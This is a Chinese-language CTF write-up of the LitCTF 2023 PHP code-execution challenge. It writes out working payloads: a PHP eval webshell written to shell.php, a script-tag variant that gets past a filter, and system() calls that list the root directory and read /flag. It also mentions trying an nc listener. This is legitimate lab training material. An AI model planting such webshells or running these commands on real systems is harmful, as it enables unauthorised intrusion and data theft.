[LitCTF 2023]PHP是世界上最好的语言!!

[LitCTF 2023]PHP是世界上最好的语言!! wp

进入页面,发现左边有输入框,下面有 RUN CODE 字样,估计是可以执行命令的。

执行 PHP 代码测试

<?php print(1); ?>

在这里插入图片描述

将 PHP 一句话木马写入文件

为了蚁剑能连上,直接执行木马是不行的,要将木马写入文件中。

fopen() 函数
语法
fopen(filename,mode,include_path,context)
参数描述
filename必需。规定要打开的文件或 URL。
mode必需。规定您请求到该文件/流的访问类型。可能的值: “r” (只读方式打开,将文件指针指向文件头) “r+” (读写方式打开,将文件指针指向文件头) “w” (写入方式打开,清除文件内容,如果文件不存在则尝试创建之) “w+” (读写方式打开,清除文件内容,如果文件不存在则尝试创建之) “a” (写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之) “a+” (读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容) “x” (创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误) “x+” (创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)
include_path可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 ‘1’。
context可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。
fopen('shell.php','w')

该语句的意思为,以写入方式打开一个叫做“ shell.php ”,的文件,该文件不存在,故创建了一个shell.php文件。

fputs() 函数

fputs() 函数将内容写入一个打开的文件中。

语法
fputs(file,string,length)
参数描述
file必需。规定要写入的打开文件。
string必需。规定要写入打开文件的字符串。
length可选。规定要写入的最大字节数。
payload
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>' ) ?>

没有结果返回,去访问一下是否成功写入:http://node5.anna.nssctf.cn:28606/shell.php ,页面内容为:

在这里插入图片描述

显然是 php 头被过滤了,那么就换一种 payload :

<?php fputs(fopen('shell2.php','w'),'<script language="php">@eval($_POST["shell"]);</script>') ?>

成功写入,并且在 shell2.php 页面没有任何内容,当我高兴地用蚁剑去连的时候发现连不上:返回数据为空

在这里插入图片描述

后来我又尝试写 shell 然后 kali 开 nc 监听,还是连不上。既然如此,那就不连了,反正前面不是已经可以执行代码了嘛。

直接命令执行

根据提示:Flag 位于根目录,但是当我执行下面的命令去找的时候始终没有返回:

<?php system("cat /Flag"); ?>

后来,我通过查看根目录下的文件,发现 flag 文件确实在根目录,但是名字不叫 Flag ,而是叫 flag 。呵,一个小 trick 。

<?php system("ls"); ?>

在这里插入图片描述

<?php system("ls ../../../"); ?>

在这里插入图片描述

被我发现了。

<?php system("cat /flag"); ?>

在这里插入图片描述

  • 17
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值